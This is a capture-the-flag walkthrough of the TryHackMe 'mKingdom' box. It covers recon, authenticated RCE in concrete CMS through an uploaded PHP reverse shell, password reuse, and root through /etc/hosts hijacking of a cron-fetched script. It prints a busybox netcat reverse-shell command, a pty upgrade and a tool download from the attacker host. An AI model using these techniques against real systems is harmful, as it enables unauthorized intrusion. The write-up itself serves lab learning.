mKingdom

Beginner-friendly box inspired by a certain mustache man. - by uartuo

The following post by 0xb0b is licensed under CC BY 4.0


Recon

We start with a Nmap scan and find only one open port, 85. We are dealing with an Apache httpd 2.4.7web server. The title suggests defacing has happened.

╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ nmap -p- mkingdom.thm -T4           
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-15 10:21 CEST
Nmap scan report for mkingdom.thm (10.10.10.52)
Host is up (0.050s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT   STATE SERVICE
85/tcp open  mit-ml-dev

Nmap done: 1 IP address (1 host up) scanned in 14.02 seconds
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ nmap -sC -sV -p 85 mkingdom.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-15 10:22 CEST
Nmap scan report for mkingdom.thm (10.10.10.52)
Host is up (0.039s latency).

PORT   STATE SERVICE VERSION
85/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0H N0! PWN3D 4G4IN

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.84 seconds

On the index page, we are greeted with a picture of a very well-known villain.

We enumerate the pages, level by level, with Gobuster. Meanwhile, we look at the image with exiftool and https://www.aperisolve.com/, maybe we discover something hidden. Except for a set author name, we do not find anything else of relevance.

╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ gobuster dir -u http://mkingdom.thm:85/ -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://mkingdom.thm:85/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 288]
/.htaccess            (Status: 403) [Size: 288]
/app                  (Status: 301) [Size: 312] [--> http://mkingdom.thm:85/app/]
/server-status        (Status: 403) [Size: 292]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================

Manually and with Gobuster we reach a blog at endpoint /app/castle.

There is only one blog post.

But this one reveals us a potential username we might need later.

We see that the CMS concrete is being used. In the source, we also find the version used: 8.5.2. This is vulnerable to authenticated remote code execution.

This vulnerability is explained step-by-step in the following post. The requirement here is to be in possession of admin credentials, as this allows you to remove the upload restrictions by adding file types and then uploading and triggering a PHP reverse shell.

Shell as www-data

We know about the possible entry point through authenticated RCE, but still need credentials. Here, the defaced page was my first dead end, because I thought that the picture was deliberately placed here for stego, but this is not the case.

We can log in with the username admin and a very well-known insecure password that starts with p.

We are able to log in and have the admin dashboard available.

Next, we follow the steps described in the article below:

Select System & Settings, then Allowed File Type.

Next, add php, separated by a comma, and save the changes.

Now we create a PHP reverse sell on revshells.com, selecting the PHP Pentest Monkey.

To upload files, we simply drag them into the File Manager at /app/castle/dashboard/files/search⁣⁣. We get the URL to access the file. Before we do that, we set up a listener on our chosen port.

Next, we dial up the link presented.

http://mkingdom.thm:85/app/castle/application/files/4317/1844/7012/monkey.php

We get a connection from our reverse shell as www-data. Unfortunately, we won't find the user flag here. We have to move laterally. By inspection /etc/passwd we find two users, toad and mario.

╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ nc -lnvp 4445                                                                                                               1 ↵
listening on [any] 4445 ...
connect to [10.8.211.1] from (UNKNOWN) [10.10.71.227] 58970
Linux mkingdom.thm 4.4.0-148-generic #174~14.04.1-Ubuntu SMP Thu May 9 08:17:37 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 06:24:18 up  1:28,  0 users,  load average: 0.01, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data),1003(web)
bash: cannot set terminal process group (1369): Inappropriate ioctl for device
bash: no job control in this shell
www-data@mkingdom:/$ whoami
whoami
www-data
www-data@mkingdom:/$ 

Shell as toad

We run linpeas.sh and find cat as a SUID binary that is owned by user toad. So, in that case, by running cat as another user, that binary gets executed as user toad. That might give us some restrictions if we want to read files as another user.

══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
                      ╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
 https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 toad root 47K Mar 10  2016 /bin/cat
-rwsr-xr-x 1 root root 68K Nov 23  2016 /bin/umount  --->  BSD/Linux(08-1996)

MySQL is running internally. Maybe we can retrieve some credentials from the web app.

www-data@mkingdom:/tmp$ netstat -tulnp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::85                   :::*                    LISTEN      -               
tcp6       0      0 ::1:631                 :::*                    LISTEN      -               
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           -               
udp        0      0 0.0.0.0:46891           0.0.0.0:*                           -               
udp        0      0 0.0.0.0:68              0.0.0.0:*                           -               
udp        0      0 0.0.0.0:631             0.0.0.0:*                           -               
udp        0      0 0.0.0.0:39553           0.0.0.0:*                           -               
udp6       0      0 :::5353                 :::*                                -               
udp6       0      0 :::43424                :::*                                -               
udp6       0      0 :::45129                :::*                                -               
www-data@mkingdom:/tmp$ 

By checking out the config files, we can find the database credentials. We could now look up the database, but we won't find any new users. Instead, we could check if the credentials were being reused.

First, if this has not already happened, we need to upgrade our revers shell to have it more interactively and be able to switch users.

python3 -c 'import pty; pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo && fg

We paste the database credentials for toad and are able to switch users, but this user has no flag.

www-data@mkingdom:/var/www/html/app/castle/application/config$ su toad
Password: 
toad@mkingdom:/var/www/html/app/castle/application/config$ id
uid=1002(toad) gid=1002(toad) groups=1002(toad)
toad@mkingdom:/var/www/html/app/castle/application/config$ 

Shell as mario

Let's try to switch to user mario. While enumerating the target manually, we find a strange password token in the env variable encoded in base 64.

We use CyberChef to decode it...

... And switch users to mario. This is the password for mario.

toad@mkingdom:/tmp$ su mario
Password: 
mario@mkingdom:/tmp$ cd /home/mario/
mario@mkingdom:~$ ls
Desktop    Downloads  Pictures  Templates  Videos
Documents  Music      Public    user.txt

Here we find the first flag, and we can't read the flag, because of the SUID bit set. We look for another copy of cat on the machine and find one at /usr/lib/klibc/cat, With that, we can read the last flag.

Shell as root

If this has not already happened, we upload and run pspy64 on the machine to discover processes running in the background.

mario@mkingdom:~$ wget http://10.8.211.1/pspy64
--2024-06-15 06:57:20--  http://10.8.211.1/pspy64
Connecting to 10.8.211.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’

100%[======================================>] 3,104,768   2.07MB/s   in 1.4s   

2024-06-15 06:57:22 (2.07 MB/s) - ‘pspy64’ saved [3104768/3104768]

mario@mkingdom:~$ chmod +x pspy64 
mario@mkingdom:~$ ./pspy64 

Here we find a cronjob that uses cURL to download a script at mkingdom.thm and execute it. If we are somehow able to write to /etc/host, we can easily supply the machine with a malicious script that executes a reverse shell for us.

Again, we use revshells.com to generate a reverse shell. This time using BusyBox.

We see we are able to write to /etc/hosts as mario.

mario@mkingdom:/var/www/html/app/castle/application$ ls -lah /etc/hosts
-rw-rw-r-- 1 root mario 342 Jan 26 19:53 /etc/hosts
mario@mkingdom:/var/www/html/app/castle/application$

With nano or vi we can update the /etc/hosts and replace the existing IP for mkingdom.thm with our own IP address.

mario@mkingdom:/var/www/html/app/castle/application$ nano /etc/hosts
Error opening terminal: unknown.
mario@mkingdom:/var/www/html/app/castle/application$ export TERM="xterm"
mario@mkingdom:/var/www/html/app/castle/application$ nano /etc/hosts
mario@mkingdom:/var/www/html/app/castle/application$ cat /etc/hosts
127.0.0.1	localhost
10.8.211.1	mkingdom.thm
127.0.0.1	backgroundimages.concrete5.org
127.0.0.1       www.concrete5.org
127.0.0.1       newsflow.concrete5.org

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Next, we create the folder structure, create the script, place it in the correct location, and set up a web server on port 85 using Python. Besides this, a listener is running on our desired port.

╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ mkdir app     
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ mkdir app/castle
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ mkdir app/castle/application
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ nano counter.sh
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ cat counter.sh  
busybox nc 10.8.211.1 4446 -e /bin/bash            
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ mv counter.sh app/castle/application/counter.sh
╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ sudo python -m http.server 85
Serving HTTP on 0.0.0.0 port 85 (http://0.0.0.0:85/) ...

After a short duration, the script gets downloaded...

╭─xb0b@parrot ~/Documents/tryhackme/mkingdom 
╰─➤  $ sudo python -m http.server 85                  
Serving HTTP on 0.0.0.0 port 85 (http://0.0.0.0:85/) ...
10.10.71.227 - - [15/Jun/2024 13:17:01] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -

... And executed. We get a reverse shell connection back as root. We can read the flag in the home directory of root using /usr/lib/klibc/bin/cat.

Last updated